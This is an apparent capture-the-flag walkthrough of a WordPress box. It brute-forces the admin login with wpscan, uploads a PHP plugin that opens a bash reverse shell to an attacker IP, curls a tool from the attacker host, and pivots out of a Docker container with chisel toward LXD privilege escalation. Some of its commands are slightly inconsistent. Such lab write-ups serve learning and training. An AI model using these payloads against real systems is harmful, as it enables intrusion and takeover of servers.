For Business Reasons

Wordpress Enumeration - Docker Escape by Pivoting - LXD Privilege Escalation

Scanning

Nmap scan results

# Nmap 7.94 scan initiated Fri Jun 30 15:03:29 2023 as: nmap -p 80 -vvv -T4 -sCV -A -oN nmap.log 10.10.6.91
Nmap scan report for 10.10.6.91
Host is up, received syn-ack (0.23s latency).
Scanned at 2023-06-30 15:03:30 IST for 30s

PORT   STATE SERVICE REASON  VERSION
80/tcp open  http    syn-ack Apache httpd 2.4.38 ((Debian))
|_http-title: MilkCo Test/POC site – Just another WordPress site
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 000BF649CC8F6BF27CFB04D1BCDCD3C7
|_http-server-header: Apache/2.4.38 (Debian)
|_http-generator: WordPress 5.4.2
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 30 15:04:00 2023 -- 1 IP address (1 host up) scanned in 30.77 seconds

Enumeration

$ wpscan --url http://10.10.10.x -U sysadmin -P /opt/rockyou.txt

+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://10.10.6.91/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.4.2'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://10.10.6.91/, Match: 'WordPress 5.4.2'

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:37 <==============================================================================> (137 / 137) 100.00% Time: 00:00:37

[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - sysadmin / milkshake                                                                                                                             
Trying sysadmin / rachael Time: 00:07:19 <                                                                          > (1665 / 14346057)  0.01%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: sysadmin, Password: milkshake

Find the vulnerable theme version and upload a reverse shell on 404.php template - twentynineteen in this case !

Or we can even upload a vulnerable plugin

<?php

/**
* Plugin Name: Reverse Shell
* Plugin URI:
* Description: Reverse Shell
* Version: 1.0
* Author: Richard OBZ
* Author URI: https://onlineblogzone.com/
*/

exec("/bin/bash -c 'bash -i > /dev/tcp/<attack_ip>/9001 0>&1'");
?>

Now zip this file and upload it by browsing to Plugins and then Add New

Meanwhile start the listener and now upload the zip file and activate the plugin - we get a shell !

Initial foothold

Within the current directory we see a script which shows that we are inside a docker container

• The content of start_container.sh is

#!/bin/sh
cd /data
exec 2>&1 1> /data/start.log

myip=$(ip route | grep -v docker | grep src  | awk '{print $9}')

sed -e 's-define("WP_HOME","http://.*");-define("WP_HOME","http://${myip}");-' -i /data/wp-config.php
sed -e 's-define("WP_SITEURL","http://.*");-define("WP_SITEURL","http://${myip}");-' -i /data/wp-config.php

#docker stack rm wordpress
#sleep 10 
#docker stack rm wordpress
#sleep 10 

cd /data
docker stack deploy wordpress -c wordpress_stack.yml

This confirms us that we are inside a docker container and to escape this - we'll first have to figure out our IP - this can be done using hostname -I

10.255.0.4 172.18.0.4 10.0.0.5

So our internal IP address is 172.18.0.4, we can now scan it via netcat

Looks like port 22 is open on 172.18.0.1

• Let's try some port forwarding techniques using chisel !

On the attacking machine
$ python3 -m http.server 
$ chisel server -p 1337 --reverse

On the host
$ curl http://<attacker_ip>:8000/nmap -o nmap
$ chmod +x chise; 
$ ./chisel client 10.8.74.51:1337 R:22:172.18.0.1:22

After a successful connection, we can now login to the ssh server with the same credentials

$ ssh sysadmin@127.0.0.1

Privilege Escalation

Since the sysadmin user is a part of the lxd group - we can craft our own alphine image and escalate our privileges :)